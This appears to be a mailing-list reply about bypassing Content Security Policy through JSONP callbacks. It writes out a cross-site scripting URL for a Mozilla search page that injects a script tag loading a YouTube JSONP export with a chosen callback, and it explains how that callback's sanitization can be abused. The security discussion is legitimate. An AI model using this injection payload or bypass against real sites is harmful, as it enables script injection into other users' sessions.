Re: CSP and jsonp callbacks

The XSS in mozilla is:
http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script>

Youtube has a service that lets you export a video details with JSONp,
and accepts "callback". And callback is sanitized to only have
([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis.
